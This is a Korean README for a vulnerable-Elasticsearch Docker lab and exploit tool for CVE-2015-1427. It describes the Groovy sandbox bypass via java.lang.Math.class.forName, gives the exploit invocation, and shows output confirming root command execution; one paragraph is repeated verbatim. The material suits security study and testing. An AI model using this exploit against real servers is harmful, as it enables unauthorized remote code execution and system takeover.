
Elasticsearch 1.4.0 < 1.4.2 원격 코드 실행 익스플로잇 및 취약한 컨테이너
Elasticsearch는 점점 더 많은 사용 사례를 해결할 수 있는 분산형 RESTful 검색 및 분석 엔진입니다. Elastic Stack의 핵심으로서 데이터를 중앙에 저장하여 예상한 결과를 발견하고 예상치 못한 결과를 찾아낼 수 있게 해줍니다.
테스트를 위해 취약한 환경을 설정하려면 Docker가 설치되어 있어야 하며, 다음 명령어를 실행하기만 하면 됩니다:
docker build -t vuln/cve-2015-1427 .
docker run --rm -it -p 9200:9200 vuln/cve-2015-1427
그러면 호스트의 9200 포트에서 취약한 웹 애플리케이션이 실행됩니다.
이 버그는 인증이 필요 없는 REST API에서 발견됩니다. 검색 기능이 groovy 코드 실행을 허용하며, java.lang.Math.class.forName을 사용하여 샌드박스를 우회해 임의의 클래스를 참조할 수 있습니다. 이를 통해 임의의 Java 코드를 실행할 수 있습니다. 이 버그는 인증이 필요 없는 REST API에서 발견됩니다. 검색 기능이 groovy 코드 실행을 허용하며, java.lang.Math.class.forName을 사용하여 샌드박스를 우회해 임의의 클래스를 참조할 수 있습니다. 이를 통해 임의의 Java 코드를 실행할 수 있습니다.
이 대상을 익스플로잇하려면 다음을 실행하세요:
./exploit.sh host:port
이 취약한 이미지를 사용 중이라면 다음을 실행하면 됩니다:
./exploit.sh 127.0.0.1:9200
[+] CVE-2015-1427 exploit by t0kx
[+] Exploiting 127.0.0.1:9200
[+] Trigger Payload...
[+] Running whoami: root
[+] Done
이 결함은 Cisco Systems 정보 보안 팀과 Cameron Morris가 발견했습니다.
이 프로그램 또는 이전 프로그램은 교육 목적으로만 제공됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(t0kx)는 이 프로그램들이 제공하는 정보나 기능을 직접 또는 간접적으로 사용하여 발생한 어떠한 손해에 대해서도 책임을 지지 않습니다. 저자 또는 어떠한 인터넷 서비스 제공자도 이 프로그램이나 그 파생물의 내용 또는 오용에 대해 어떠한 책임도 지지 않습니다. 이 프로그램을 사용함으로써 귀하는 이 프로그램 사용으로 인해 발생하는 모든 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)가 t0kx의 책임이 아니라는 사실에 동의하게 됩니다.